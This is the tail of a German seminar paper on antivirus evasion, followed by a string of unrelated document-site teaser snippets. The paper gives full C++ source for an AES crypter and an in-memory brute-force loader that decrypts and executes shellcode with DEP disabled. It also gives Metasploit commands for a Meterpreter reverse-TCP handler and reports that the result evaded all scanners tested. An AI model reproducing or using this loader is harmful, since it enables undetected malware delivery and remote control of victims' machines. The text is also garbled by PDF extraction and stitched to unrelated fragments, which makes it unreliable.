xbb \ xbb \ xbb \ xbb "; 50 // PASSWORD for encryption const string encoded_ key = " abd! hi"; 52 // CONFIG END 54 string enc_ AES_ ECB ( const string & enc_key, const string & plain_ text ){ 56 byte key [16]; string cipher_ text ; 58 StringSource ( enc_key, true, new HexDecoder ( new ArraySink ( key, 16) )); ECB_Mode <AES >:: Encryption aes_enc ; 60 aes_enc. SetKey (key, sizeof ( key )); try { 62 StringSource ( plain_text, true, new StreamTransformationFilter ( aes_enc, new HexEncoder ( new StringSink ( cipher_text )))); } 64 catch ( const Exception & e){ cerr << e. what () << endl ; 66 assert ( false ); } 68 return cipher_ text ; } Birk Kauer Seite 15

22 70 72 int _tmain ( int argc, _TCHAR * argv []) { 74 cout << strlen ( code ) << endl << endl << endl ; string cipher = enc_ AES_ ECB ( encoded_ key, code ); 76 ofstream myfile ; myfile. open (" cipher. txt "); 78 myfile << cipher ; myfile. close (); 80 cout << cipher << endl ; system (" pause "); 82 return 0; } Listing 12: AES Crypter Es ist wichtig, dass beim Shellcode am ende mindestens 4 \bb Bytes als Markerbytes hinzugefügt werden. Hierbei ist es auch wichtig auf das Padding des Shellcodes zu achten(shellcode mod 2 = 0 wäre korrekt für das Padding). Das Ergebnis des obigen Shellcodes (Key = abd!hi ) wird verschlüsselt so aussehen: 1 3D74A92207F3D2460D090D4D291F80F88D71FC6BD94BA901DF0038BF78D0E359EAE33C 747F3A0FC23683D2013A7F8B2FD8FC42AF3F7F73524D4FDF3A52DB8A168B4E358CFF7D 3 A67F67914E488C68F9DE9A571A907908C24DB309787A A85C8E848AB05 1ED81C9CD17E60ED467BB1B1ABED720CAB4ACEA3D93B0DB11E62D7E6EB83AF7D2D81 5 3D291DF BA146ECC0F10C26A37E1917A754B78B60A7E8E817BCAA1E14778C9F50 DD98D50A176060A69E5EF2C3B67BE8C39F3E4690ED689EBFA912727D314D1A10671E C589B84B6B57798F8A5759FBBD610E2A94194DD8A0CE76D6C53A8343E98D70E59D1 04C5FBE632A580139F53279C79D78A99AED6D D51D36EA75F0F89A1CC7523F FD5FD255BBBF12463A71A5969B542801E75A4A9A70173D C403209B8 227CB017ADE223FEBA64AE552CBDAC96F0 Listing 13: AES Verschlüsselt Der Ergebnis String wird nun in die Hauptanwendung kopiert um dort in der Laufzeit entschlüsselt zu werden AES Brute-Force in Memory Nun folgt das eigentliche Programm, welches den Shellcode im Hauptspeicher selbst knackt. Dies geht unter der Verwendung von einfach gewählten Schlüsseln sehr schnell. Je nach Wahl des Schlüssels und der Konfiguration des Brute-Force Algorithmus kann Birk Kauer Seite 16

23 es zwischen 1 Sekunde bis mehrere Stunden brauchen. Ein Zielwert sollte zwischen 30 Sekunden und 2 Minuten liegen. 2 # include " stdafx.h" 4 #if defined ( WIN32 ) # include < windows.h> 6 # endif 8 # include < iostream > # include < string > 10 # include " hex.h" # include " aes.h" 12 # include " filters.h" # include " modes.h" 14 # include " files.h" # include " integer.h" 16 using namespace CryptoPP ; 18 using namespace std ; // // CONFIG const int SHELLCODELENGTH = 330; // Length of the Shellcode 24 const int LENGTHOFPASSWORD = 7; // Length of the used password. Not Bigger than 7! const string charstouse = " abcdefghijklmnopqrstuvwxyz!?$ ß %&/() ="; // Every used Char in the Password must be inside of the String 26 // STRING FROM THE CRYPTER OR CIPHER. TXT 28 string crypt = "3 D74A92207F3D2460D090D4D291F80F88D71FC6BD94BA901DF003 8 BF78D0E359EAE33C747F3A0FC23683D2013A7F8B2FD8FC42AF3F7F73524D4FD 30 F3A52DB8A168B4E358CFF7DA67F67914E488C68F9DE9A571A907908C24DB A A85C8E848AB051ED81C9CD17E60ED467BB1B1ABED720C 32 AB4ACEA3D93B0DB11E62D7E6EB83AF7D2D813D291DF BA146ECC0F10 C26A37E1917A754B78B60A7E8E817BCAA1E14778C9F50DD98D50A176060A69E 34 5 EF2C3B67BE8C39F3E4690ED689EBFA912727D314D1A10671E C589B84 B6B57798F8A5759FBBD610E2A94194DD8A0CE76D6C53A8343E98D70E59D104C 36 5 FBE632A580139F53279C79D78A99AED6D D51D36EA75F0F89A1CC7523 F FD5FD255BBBF12463A71A5969B542801E75A4A9A70173D C403209B AD D3F46D09E0E5DCD6 "; Birk Kauer Seite 17

24 40 // // Global Vars DO NOT CHANGE 44 bool hit = false ; string encoded_ key ; 46 char aes [ SHELLCODELENGTH + 1]; 48 string dec_ AES_ ECB ( const string & dec_key, const string & cipher_ text ){ 50 byte key [16]; string plain_ text ; 52 try { StringSource ( dec_key, true, new HexDecoder ( new ArraySink ( key, 16) )); 54 } catch ( const Exception & e){ 56 cerr << e. what () << endl ; assert ( false ); 58 } ECB_Mode <AES >:: Decryption aes_dec ; 60 aes_dec. SetKey (key, sizeof ( key )); try { 62 string buffercipher ; HexDecoder * h1 = new HexDecoder ( new StringSink ( buffercipher )); 64 StringSource ( cipher_ text, true, h1); StringSource ( buffercipher, true, new StreamTransformationFilter ( aes_dec, new StringSink ( plain_text ))); 66 } catch ( const Exception & e){ 68 return " false "; } 70 return plain_ text ; } 72 void invoke (){ 74 void (* func )(); func = ( void (*)()) (& aes ); 76 func (); } 78 void Brute ( string prefix, string chars, int len ){ 80 int i = 0; Birk Kauer Seite 18

25 82 if ( prefix. length () < len ){ for (i = 0; i<len ; i ++) { 84 encoded_ key = ""; encoded_ key += prefix ; 86 encoded_ key += chars [ i]; string code2 = dec_ AES_ ECB ( encoded_ key, crypt ); 88 if ( code2!= " false "){ strncpy (aes, code2. c_str (), sizeof ( aes )); 90 aes [ sizeof ( aes ) - 1] = 0; if ( aes [ sizeof ( aes ) - 2] == \ xbb && aes [ sizeof ( aes ) - 3] == \ xbb ){ 92 hit = true ; cout << aes [ sizeof ( aes ) - 1] << endl ; 94 invoke (); return ; 96 } } 98 Brute ( prefix + chars [i], chars, len ); if ( hit == true ){ 100 return ; } 102 } 104 } } int _tmain ( int argc, _TCHAR * argv []) { 110 Brute ("", charstouse, LENGTHOFPASSWORD ); system (" pause "); 112 return 0; } Listing 14: AES Brute-Force Für den Kompilierung ist noch wichtig dem Compiler mitzugeben, dass er DEP nicht benutzt. Bei Visual Studio muss dem Linker das Kommando /NXCOMPAT[:NO] mit in die Befehlszeile gegeben werden. Nach dem Kompilierungsvorgang entsteht eine Windows executable. Birk Kauer Seite 19

26 4.3.4 Test Um die Executable zu testen wird auf einem Kali Linux System mit vorinstallierten Metasploit-Framework ein Meterpreter listener aufgesetzt. Dies wurde wie folgt aufgesetzt: Starten des Metasploit-Frameworks: Bash Command: # msfconsole Wechseln zum Exploit Handler: Bash Command: # use exploit/multi/handler Auswählen der Meterpreter payload: Bash Command: # set payload windows/meterpreter/reverse_tcp Setzen der eigenen IP: Bash Command: # set LHOST Setzen des Ports, auf welchen sich die Reverse Shell verbindet. Bash Command: # set LPORT 1337 Starten des Handlers Bash Command: # run Da alle Vorkehrungen auf dem zu empfangenden PC getroffen worden sind, wird nun die Windows Executable ausgeführt. Diese sollte nur ein Kommandozeilenfenster öffnen und nichts anzeigen. Durch die Wahl des Schlüssels wird sich der Shellcode je nach Leistungsfähigkeit des Systems nach ca. 50 Sekunden geknackt haben und verbindet sich mit dem Kali Linux System. Abbildung 3: Meterpreter Connection Somit wurde der Shellcode richtig entschlüsselt und führt sich auch problemlos aus. Birk Kauer Seite 20

27 Kapitel 5 Fazit Zuletzt wird getestet, wie sich die erzeugte Windows Executable gegen Antiviren Systeme schlägt nachdem der ursprüngliche Test bei 36 Erkennungen lag. Zur Erinnerung, VirusTotal verwendet Hauptsächlich Signatur Scanner. Sollten die Signatur Scanner nichts finden, so muss man noch auf lokal Installierten Systemen die Laufzeit Erkennung testen. Das Ergebnis des VirusTotal Tests: Abbildung 4: VirusTotal AES Diesmal wurden alle Signatur Scanner der Antiviren Systeme ausgetrickst und die erstellte Executable wurde durch nichts erkannt. Die Runtime Tests wurden noch mit Avira/Kaspersky und Bitdefender getestet aber auch hier wurde die Executable nicht als mögliche Bedrohung gesehen. 5 Fazit Aus dieser Ausarbeitung sollte sich herauskristallisieren, wie einfach es ist die aktuellsten Antiviren Systeme zu umgehen. Daher sollte ein Antiviren System niemals als einzige Sicherheitsmaßnahme verwendet werden. Antiviren Systeme sind sehr gut darin alle normalen Viren und sonstige Schadprogramme zu entdecken aber wenn es jemand darauf anlegt schauen diese meistens ins leere. Birk Kauer Seite 21

BTD Antivirus Evasion: Von der Idee zum PoC. Daniel Sauder SySS GmbH

BTD Antivirus Evasion: Von der Idee zum PoC. Daniel Sauder SySS GmbH BTD Antivirus Evasion: Von der Idee zum PoC Daniel Sauder SySS GmbH WHOAMI IT Security Consultant bei der SySS GmbH Vier Jahre Windows Admin Interesse an Mobile Apps, Web Apps, Windows Hacking u.v.m. OSCP

Mehr

Netzwerksicherheit Musterlösung Übungsblatt 4: Viren

Netzwerksicherheit Musterlösung Übungsblatt 4: Viren Institut für Informatik Alina Barendt und Philipp Hagemeister Netzwerksicherheit Musterlösung Übungsblatt 4: Viren 1 Vorbereitung msg db "Virus" mov ah, 40h mov bx, 1 mov cx, $5 mov dx, msg int 21h ; Write

Mehr

0 C (Carry) Überlauf des 8ten Bits. 1 DC (Digit Carry) Überlauf des 4ten Bits. Mnemonic Parameter Beschreibung Status-Flags.

0 C (Carry) Überlauf des 8ten Bits. 1 DC (Digit Carry) Überlauf des 4ten Bits. Mnemonic Parameter Beschreibung Status-Flags. 3. Assembler-Programmierung Der PIC 16F84A Microcontroller kennt 35 verschiedene Befehle. Für eine ausführliche Beschreibung aller Befehle siehe PIC16F84A-Datenblatt Kapitel 7.1. 3.1 Wichtige Flaggen im

Mehr

Übungen zur Vorlesung Systemsicherheit

Übungen zur Vorlesung Systemsicherheit Übungen zur Vorlesung Systemsicherheit Address Space Layout Randomization Tilo Müller, Reinhard Tartler, Michael Gernoth Lehrstuhl Informatik 1 + 4 19. Januar 2011 c (Lehrstuhl Informatik 1 + 4) Übungen

Mehr

Übungspaket 19 Programmieren eigener Funktionen

Übungspaket 19 Programmieren eigener Funktionen Übungspaket 19 Programmieren eigener Funktionen Übungsziele: Skript: 1. Implementierung und Kodierung eigener Funktionen 2. Rekapitulation des Stack-Frames 3. Parameterübergabe mittels Stack und Stack-Frame

Mehr

x86 Assembler Praktische Einführung Sebastian Lackner Michael Müller 3. Juni 2013

x86 Assembler Praktische Einführung Sebastian Lackner Michael Müller 3. Juni 2013 x86 Assembler Praktische Einführung Sebastian Lackner Michael Müller 3. Juni 2013 1 / 53 Inhaltsverzeichnis 1 Einführung 2 Assembler Syntax, Register und Flags 3 Hauptspeicher 4 Stack 5 Assemblerbefehle

Mehr

Besprechung des 3. Übungsblattes MIMA-Interpreter MIMA-Aufgabe: Primzahltest Weitere MIMA-Aufgaben online

Besprechung des 3. Übungsblattes MIMA-Interpreter MIMA-Aufgabe: Primzahltest Weitere MIMA-Aufgaben online Themen heute Besprechung des 3. Übungsblattes MIMA-Interpreter MIMA-Aufgabe: Primzahltest Weitere MIMA-Aufgaben online Besprechung des 3. Übungsblattes Aufgabe 3 Speicherplätze für Mikrocode-Anweisungen

Mehr

Anleitung für zwei C++ - Openmp - Beispiele auf der NWZSuperdome

Anleitung für zwei C++ - Openmp - Beispiele auf der NWZSuperdome Anleitung für zwei C++ - Openmp - Beispiele auf der NWZSuperdome (Timo Heinrich, t_hein03@uni-muenster.de) Inhaltsverzeichnis: 0.Einleitung 1.Teil: Helloworldprogramm 1.1 Quellcode: Helloworld.cpp 1.2

Mehr

Einführung zum MS Visual Studio

Einführung zum MS Visual Studio 0 Visual Studio Verzeichnispfade einstellen Stellen Sie nach dem Start von Visual Studio zunächst Ihr Home-Laufwerk, d.h. den Pfad für Ihre Projektverzeichnisse und Dateien ein. Beenden Sie Visual Studio

Mehr

Stephan Brumme, SST, 2.FS, Matrikelnr. 70 25 44

Stephan Brumme, SST, 2.FS, Matrikelnr. 70 25 44 Aufgabe 33 a) Der Pseudobefehl move $rd,$rs wird als addu $rd,$0,$rs übersetzt. Dabei macht sich SPIM zunutze, dass das Register $0 immer Null ist. Somit wird das Register $rd ersetzt durch $rd=0+$rs=$rs,

Mehr

Theoretische Aspekte

Theoretische Aspekte Webserver mit Win32 API Datum: 04.02.03 Autor: Michael Hielscher Homepage: www.genesis-x7.de Theoretische Aspekte Aufbau eines Webservers Als erstes sollte man im Abschnitt Multithreaded SocketServer nachlesen

Mehr

Erstellen sicherer ASP.NET- Anwendungen

Erstellen sicherer ASP.NET- Anwendungen Erstellen sicherer ASP.NET- Anwendungen Authentifizierung, Autorisierung und sichere Kommunikation Auf der Orientierungsseite finden Sie einen Ausgangspunkt und eine vollständige Übersicht zum Erstellen

Mehr

TIn 1: Feedback Laboratories. Lecture 4 Data transfer. Question: What is the IP? Institut für Embedded Systems. Institut für Embedded Systems

TIn 1: Feedback Laboratories. Lecture 4 Data transfer. Question: What is the IP? Institut für Embedded Systems. Institut für Embedded Systems Mitglied der Zürcher Fachhochschule TIn 1: Lecture 4 Data transfer Feedback Laboratories Question: What is the IP? Why do we NEED an IP? Lecture 3: Lernziele Moving data, the why s and wherefores Moving

Mehr

Erstellen sicherer ASP.NET- Anwendungen

Erstellen sicherer ASP.NET- Anwendungen Erstellen sicherer ASP.NET- Anwendungen Authentifizierung, Autorisierung und sichere Kommunikation Auf der Orientierungsseite finden Sie einen Ausgangspunkt und eine vollständige Übersicht zum Erstellen

Mehr

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung) Buffer Overflow 1c) 1 char passok='f'; 2 char password[8]; 3 printf( Passwort: ); 4 gets(password); 5 if(!strcmp(password, daspassw )){passok = 'T';} 6 if(passok=='t'){printf( %s, Willkommen! );} 7 else

Mehr

Erstellung eines SharkNet Installers für Windows mit Inno Setup Compiler 5.4.2

Erstellung eines SharkNet Installers für Windows mit Inno Setup Compiler 5.4.2 Erstellung eines SharkNet Installers für Windows mit Inno Setup Compiler 5.4.2 1. Benötigte Software Zur Erstellung des Installers wird folgende Software benötigt. Es wird sich in dieser Dokumentation

Mehr

Übungspaket 31 Entwicklung eines einfachen Kellerspeiches (Stacks)

Übungspaket 31 Entwicklung eines einfachen Kellerspeiches (Stacks) Übungspaket 31 Entwicklung eines einfachen Kellerspeiches (Stacks) Übungsziele: Skript: 1. Definieren einer dynamischen Datenstruktur 2. Dynamische Speicher Speicherallokation 3. Implementierung eines

Mehr

Angewandte IT-Sicherheit

Angewandte IT-Sicherheit Angewandte IT-Sicherheit Johannes Stüttgen Lehrstuhl für praktische Informatik I 30.11.2010 Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 1 / 28 Aufgabe 1 Betrachten sie folgendes Programm:

Mehr

Algorithmen und Datenstrukturen (ESE) Entwurf, Analyse und Umsetzung von Algorithmen (IEMS) WS 2012 / 2013. Vorlesung 9, Dienstag 18.

Algorithmen und Datenstrukturen (ESE) Entwurf, Analyse und Umsetzung von Algorithmen (IEMS) WS 2012 / 2013. Vorlesung 9, Dienstag 18. Algorithmen und Datenstrukturen (ESE) Entwurf, Analyse und Umsetzung von Algorithmen (IEMS) WS 2012 / 2013 Vorlesung 9, Dienstag 18. Dezember 2012 (Performance Tuning, Profiling, Maschinencode) Prof. Dr.

Mehr

GCC 3.x Stack Layout. Auswirkungen auf Stack-basierte Exploit-Techniken. Tobias Klein, 2003 tk@trapkit.de Version 1.0

GCC 3.x Stack Layout. Auswirkungen auf Stack-basierte Exploit-Techniken. Tobias Klein, 2003 tk@trapkit.de Version 1.0 1 GCC 3.x Stack Layout Auswirkungen auf Stack-basierte Exploit-Techniken Tobias Klein, 2003 tk@trapkit.de Version 1.0 2 Abstract Eine spezielle Eigenschaft des GNU C Compilers (GCC) der Version 3.x wirkt

Mehr

Übung 9. Quellcode Strukturieren Rekursive Datenstrukturen Uebung 9

Übung 9. Quellcode Strukturieren Rekursive Datenstrukturen Uebung 9 Informatik I 2 Übung 9 Quellcode Strukturieren Rekursive Datenstrukturen Uebung 9 Quellcode Strukturieren Wenn alle Funktionen in einer Datei zusammengefasst sind wird es schnell unübersichtlich Mehrere

Mehr

4 Codierung nach Viginere (Lösung)

4 Codierung nach Viginere (Lösung) Kapitel 4 Codierung nach Viginere (Lösung) Seite 1/14 4 Codierung nach Viginere (Lösung) 4.1 Einführung Blaise de Vigenère lebte von 1523 bis 1596 in Frankreich und war nach dem Studium bei verschiedenen

Mehr

Einführung in die Informatik für Naturwissenschaftler und Ingenieure (alias Einführung in die Programmierung)

Einführung in die Informatik für Naturwissenschaftler und Ingenieure (alias Einführung in die Programmierung) Wintersemester 2007/08 Einführung in die Informatik für Naturwissenschaftler und Ingenieure (alias Einführung in die Programmierung) (Vorlesung) Prof. Dr. Günter Rudolph Fakultät für Informatik Lehrstuhl

Mehr

Installation und Inbetriebnahme von Microsoft Visual C++ 2010 Express

Installation und Inbetriebnahme von Microsoft Visual C++ 2010 Express Howto Installation und Inbetriebnahme von Microsoft Visual C++ 2010 Express Peter Bitterlich Markus Langer 12. Oktober 2012 Zusammenfassung Dieses Dokument erklärt Schritt für Schritt die Installation

Mehr

Rechnerorganisation 2 TOY. Karl C. Posch. co1.ro_2003. Karl.Posch@iaik.tugraz.at 16.03.2011

Rechnerorganisation 2 TOY. Karl C. Posch. co1.ro_2003. Karl.Posch@iaik.tugraz.at 16.03.2011 Technische Universität Graz Institut tfür Angewandte Informationsverarbeitung und Kommunikationstechnologie Rechnerorganisation 2 TOY Karl C. Posch Karl.Posch@iaik.tugraz.at co1.ro_2003. 1 Ausblick. Erste

Mehr

Grundlagen. Kapitel 1

Grundlagen. Kapitel 1 Grundlagen Dieses Kapitel umfasst grundlegende Fragen und Aufgaben zur Erstellung von C++-Programmen. Hierzu zählen auch das Inkludieren von Header-Dateien Eine Header-Datei beinhaltet Informationen, die

Mehr

German Metasploit Framework Tutorial 16. August 2005 dav

German Metasploit Framework Tutorial 16. August 2005 dav German Metasploit Framework Tutorial 16. August 2005 dav Inhalt 1. Einleitung 2. Exploit Datenbank 2.1. Neue Exploits integrieren 3. Payload Datenbank 4. Konfiguration und Anwendungen eines Exploits 4.1.

Mehr

Methoden. von Objekten definiert werden, Methoden,, Zugriffsmethoden und Read-Only

Methoden. von Objekten definiert werden, Methoden,, Zugriffsmethoden und Read-Only Methoden Wie Konstruktoren und Destruktoren zum Auf- und Abbau von Objekten definiert werden, Wie inline-methoden Methoden,, Zugriffsmethoden und Read-Only Only- Methoden einzusetzen sind, Der this-pointer

Mehr

Erste Schritte mit HG 2

Erste Schritte mit HG 2 Erste Schritte mit HG 2 Malte Ried FH-Gießen Version: 1.0 21. November 2003 Inhaltsverzeichnis 1 Einführung 2 2 Allgemeines 2 2.1 Koordinaten...................................... 2 2.2 Farben.........................................

Mehr

AIT AG Leitzstraße 45 70469 Stuttgart Germany +49 (0)711-49066 - 430 Fax:...- 49066-440

AIT AG Leitzstraße 45 70469 Stuttgart Germany +49 (0)711-49066 - 430 Fax:...- 49066-440 Abb. oben zeigt ein mögliches Szenario Seite 1 von 5 Automatisierung mittels Skriptdatei Mit der.net Edition von Visual Localize (V4.X) wurde dem Benutzer die Möglichkeit eröffnet, wiederkehrende Arbeitsschritte

Mehr

Objektorientiertes Programmieren für Ingenieure

Objektorientiertes Programmieren für Ingenieure Uwe Probst Objektorientiertes Programmieren für Ingenieure Anwendungen und Beispiele in C++ 18 2 Von C zu C++ 2.2.2 Referenzen und Funktionen Referenzen als Funktionsparameter Liefert eine Funktion einen

Mehr

Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging

Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging Das Beispiel orientiert sich am selben Code, der im Teil 1 der Serie verwendet wurde. Text Styles: Shell Prompt mit

Mehr

7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) {

7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) { Universität Mannheim Lehrstuhl für Praktische Informatik 1 Prof. Dr. Felix C. Freiling Dipl.-Inform. Martin Mink Dipl.-Inform. Thorsten Holz Vorlesung Angewandte IT-Sicherheit Herbstsemester 2006 Übung

Mehr

Name: ES2 Klausur Thema: ARM 25.6.07. Name: Punkte: Note:

Name: ES2 Klausur Thema: ARM 25.6.07. Name: Punkte: Note: Name: Punkte: Note: Hinweise für das Lösen der Aufgaben: Zeit: 95 min. Name nicht vergessen! Geben Sie alle Blätter ab. Die Reihenfolge der Aufgaben ist unabhängig vom Schwierigkeitsgrad. Erlaubte Hilfsmittel

Mehr

IT- Handbuch für Fachinformatiker, 7. Auflage: Text- Lösungen Sascha Kersken

IT- Handbuch für Fachinformatiker, 7. Auflage: Text- Lösungen Sascha Kersken IT- Handbuch für Fachinformatiker, 7. Auflage: Text- Lösungen Sascha Kersken Im Folgenden finden Sie jeweils die korrekte Antwort zu den im Buch abgedruckten Prüfungsfragen, soweit die Antworten in Textform

Mehr

Informatik I (D-MAVT)

Informatik I (D-MAVT) Informatik I (D-MAVT) Übungsstunde 1 simon.mayer@inf.ethz.ch Distributed Systems Group, ETH Zürich kurze Stunden mit Stoffueberblick -> mehr Zeit fuer Fragen This semester s menu... Imperative Programmierung

Mehr

Hochschule Darmstadt Informatik-Praktikum (INF 1) WS 2014/2015 Wirtschaftsingenieur Bachelor 4. Aufgabe Datenstruktur, Dateieingabe und -ausgabe

Hochschule Darmstadt Informatik-Praktikum (INF 1) WS 2014/2015 Wirtschaftsingenieur Bachelor 4. Aufgabe Datenstruktur, Dateieingabe und -ausgabe Aufgabenstellung Für ein Baumkataster sollen für maximal 500 Bäume Informationen gespeichert werden, die alle nach der gleichen Weise wie folgt strukturiert sind: Nummer Bauminfo Baumart Hoehe Baum Umfang

Mehr

Institut für Kryptographie und Sicherheit Jun.-Prof. Dr. D. Hofheinz. Stammvorlesung Sicherheit im Sommersemester 2013.

Institut für Kryptographie und Sicherheit Jun.-Prof. Dr. D. Hofheinz. Stammvorlesung Sicherheit im Sommersemester 2013. Institut für Kryptographie und Sicherheit Jun.-Prof. Dr. D. Hofheinz IKS Institut für Kryptographie und Sicherheit Stammvorlesung Sicherheit im Sommersemester 2013 Übungsblatt 2 Aufgabe 1. Wir wissen,

Mehr

Anleitung zur Einrichtung von OpenCV

Anleitung zur Einrichtung von OpenCV Anleitung zur Einrichtung von Dieses Dokument beschreibt die Einrichtung und Funktionsüberprüfung von im Kontext der Lehrveranstaltung. Einrichtung Dieser Abschnitt beschreibt die Einrichtung von unter

Mehr

Autor: Michael Spahn Version: 1.0 1/10 Vertraulichkeit: öffentlich Status: Final Metaways Infosystems GmbH

Autor: Michael Spahn Version: 1.0 1/10 Vertraulichkeit: öffentlich Status: Final Metaways Infosystems GmbH Java Einleitung - Handout Kurzbeschreibung: Eine kleine Einführung in die Programmierung mit Java. Dokument: Autor: Michael Spahn Version 1.0 Status: Final Datum: 23.10.2012 Vertraulichkeit: öffentlich

Mehr

Einführung Datentypen Verzweigung Schleifen Funktionen Dynamische Datenstrukturen. Java Crashkurs. Kim-Manuel Klein (kmk@informatik.uni-kiel.

Einführung Datentypen Verzweigung Schleifen Funktionen Dynamische Datenstrukturen. Java Crashkurs. Kim-Manuel Klein (kmk@informatik.uni-kiel. Java Crashkurs Kim-Manuel Klein (kmk@informatik.uni-kiel.de) May 7, 2015 Quellen und Editoren Internet Tutorial: z.b. http://www.java-tutorial.org Editoren Normaler Texteditor (Gedit, Scite oder ähnliche)

Mehr

Sicheres C Programmieren in Embedded Systemen ARM II (ARM7TMDI [1] ) Wintersemester 2010-2011

Sicheres C Programmieren in Embedded Systemen ARM II (ARM7TMDI [1] ) Wintersemester 2010-2011 Sicheres C in Embedded Systemen ARM II (ARM7TMDI [1] ) Wintersemester 2010-2011 Dipl. Ing. (FH) Ebrecht Roland, Infineon Technologies AG M.Eng (Electronic Systems) Güller Markus, Infineon Technologies

Mehr

Microcontroller Kurs Programmieren. 09.10.11 Microcontroller Kurs/Johannes Fuchs 1

Microcontroller Kurs Programmieren. 09.10.11 Microcontroller Kurs/Johannes Fuchs 1 Microcontroller Kurs Programmieren 9.1.11 Microcontroller Kurs/Johannes Fuchs 1 General Purpose Input Output (GPIO) Jeder der Pins der vier I/O Ports kann als Eingabe- oder Ausgabe-leitung benutzt werden.

Mehr

Ziel, Inhalt. Programmieren in C++ Wir lernen wie man Funktionen oder Klassen einmal schreibt, so dass sie für verschiedene Datentypen verwendbar sind

Ziel, Inhalt. Programmieren in C++ Wir lernen wie man Funktionen oder Klassen einmal schreibt, so dass sie für verschiedene Datentypen verwendbar sind Templates und Containerklassen Ziel, Inhalt Wir lernen wie man Funktionen oder Klassen einmal schreibt, so dass sie für verschiedene Datentypen verwendbar sind Templates und Containerklassen 1 Ziel, Inhalt

Mehr

Spamschutz bei TYPO3. von Bernd Warken bei Fa. Netcos AG

Spamschutz bei TYPO3. von Bernd Warken bei Fa. Netcos AG Spamschutz bei TYPO3 von Bernd Warken bei Fa. Netcos AG Kapitel 0: Einleitung 3 0.1 Vorwort 3 0.2 Lizenz 3 Kapitel 1: Aktivierung und Konfiguration 4 1.1 config.spamprotectemailaddresses 4 1.2 config.spamprotectemailaddresses_atsubst

Mehr

2.4 Das erste C++-Programm *

2.4 Das erste C++-Programm * 2.4 Das erste C++-Programm * 11 2.4 Das erste C++-Programm * Den besten Lernerfolg erzielen Sie, wenn Sie alle Beispiele dieses Buchs selbst nachvollziehen. Sie können hierzu einen Compiler verwenden,

Mehr

B1 Stapelspeicher (stack)

B1 Stapelspeicher (stack) B1 Stapelspeicher (stack) Arbeitsweise des LIFO-Stapelspeichers Im Kapitel "Unterprogramme" wurde schon erwähnt, dass Unterprogramme einen so genannten Stapelspeicher (Kellerspeicher, Stapel, stack) benötigen

Mehr

Benutzer- und Datensicherheit. Ralf Abramowitsch Vector Informatik GmbH abramowitsch@lehre.dhbw-stuttgart.de

Benutzer- und Datensicherheit. Ralf Abramowitsch Vector Informatik GmbH abramowitsch@lehre.dhbw-stuttgart.de Benutzer- und Datensicherheit Ralf Abramowitsch Vector Informatik GmbH abramowitsch@lehre.dhbw-stuttgart.de Authentifizierung vs. Autorisierung IIdentity vs. IPrincipal Verschlüsseln und Entschlüsseln

Mehr

Anleitung zur Einrichtung von OpenCV

Anleitung zur Einrichtung von OpenCV Anleitung zur Einrichtung von Dieses Dokument beschreibt die Einrichtung und Funktionsüberprüfung von im Kontext der Lehrveranstaltung. Einrichtung Dieser Abschnitt beschreibt die Einrichtung von unter

Mehr

Unterprogramme. Funktionen. Bedeutung von Funktionen in C++ Definition einer Funktion. Definition einer Prozedur

Unterprogramme. Funktionen. Bedeutung von Funktionen in C++ Definition einer Funktion. Definition einer Prozedur Unterprogramme Unterprogramme sind abgekapselte Programmfragmente, welche es erlauben, bestimmte Aufgaben in wiederverwendbarer Art umzusetzen. Man unterscheidet zwischen Unterprogrammen mit Rückgabewert

Mehr

Lösungsvorschlag zum Übungsblatt 1 zur Vorlesung Informatik II / WS2001/02

Lösungsvorschlag zum Übungsblatt 1 zur Vorlesung Informatik II / WS2001/02 Lösungsvorschlag zum Übungsblatt 1 zur Vorlesung Informatik II / WS2001/02 Prof. Dr.-Ing. Holger Vogelsang (FH-Karlsruhe) Dipl.-Inform. (FH) Gudrun Keller (FH-Karlsruhe) Dipl.-Inform. Mathias Supp (.riess

Mehr

Die LogTrace-Bibliothek

Die LogTrace-Bibliothek Die LogTrace-Bibliothek Debugging-Hilfsmittel Weiteres Beispiel Motivation void Func() { FunktionLog var( Func );... Func2();... Ausgabe sollte hier sein: >Func > Func2 < Func2 < Func void Func2() { FunktionLog

Mehr

Programmieren in C. Macros, Funktionen und modulare Programmstruktur. Prof. Dr. Nikolaus Wulff

Programmieren in C. Macros, Funktionen und modulare Programmstruktur. Prof. Dr. Nikolaus Wulff Programmieren in C Macros, Funktionen und modulare Programmstruktur Prof. Dr. Nikolaus Wulff Der C Präprozessor Vor einem Compile Lauf werden alle Präprozessor Kommandos/Makros ausgewertet. Diese sind

Mehr

Liste des (neu)griechischen Alphabets, sortiert nach Zeichen

Liste des (neu)griechischen Alphabets, sortiert nach Zeichen Liste des (neu)griechischen Alphabets, sortiert nach Zeichen A &Agr; x0391 iso-grk1 Griechischer Großbuchstabe Alpha Α x0391 xhtml-sym Griechischer Großbuchstabe Alpha a &agr; x03b1 iso-grk1 Griechischer

Mehr

3.0 8051 Assembler und Hochsprachen

3.0 8051 Assembler und Hochsprachen 3.0 8051 Assembler und Hochsprachen Eine kurze Übersicht zum Ablauf einer Programmierung eines 8051 Mikrocontrollers. 3.1 Der 8051 Maschinencode Grundsätzlich akzeptiert ein 8051 Mikrocontroller als Befehle

Mehr

Gliederung. Tutorium zur Vorlesung. Gliederung. Gliederung. 1. Gliederung der Informatik. 1. Gliederung der Informatik. 1. Gliederung der Informatik

Gliederung. Tutorium zur Vorlesung. Gliederung. Gliederung. 1. Gliederung der Informatik. 1. Gliederung der Informatik. 1. Gliederung der Informatik Informatik I WS 2012/13 Tutorium zur Vorlesung 1. Alexander Zietlow zietlow@informatik.uni-tuebingen.de Wilhelm-Schickard-Institut für Informatik Eberhard Karls Universität Tübingen 11.02.2013 1. 2. 1.

Mehr

System Monitoring mit strace. Systemcall tracing

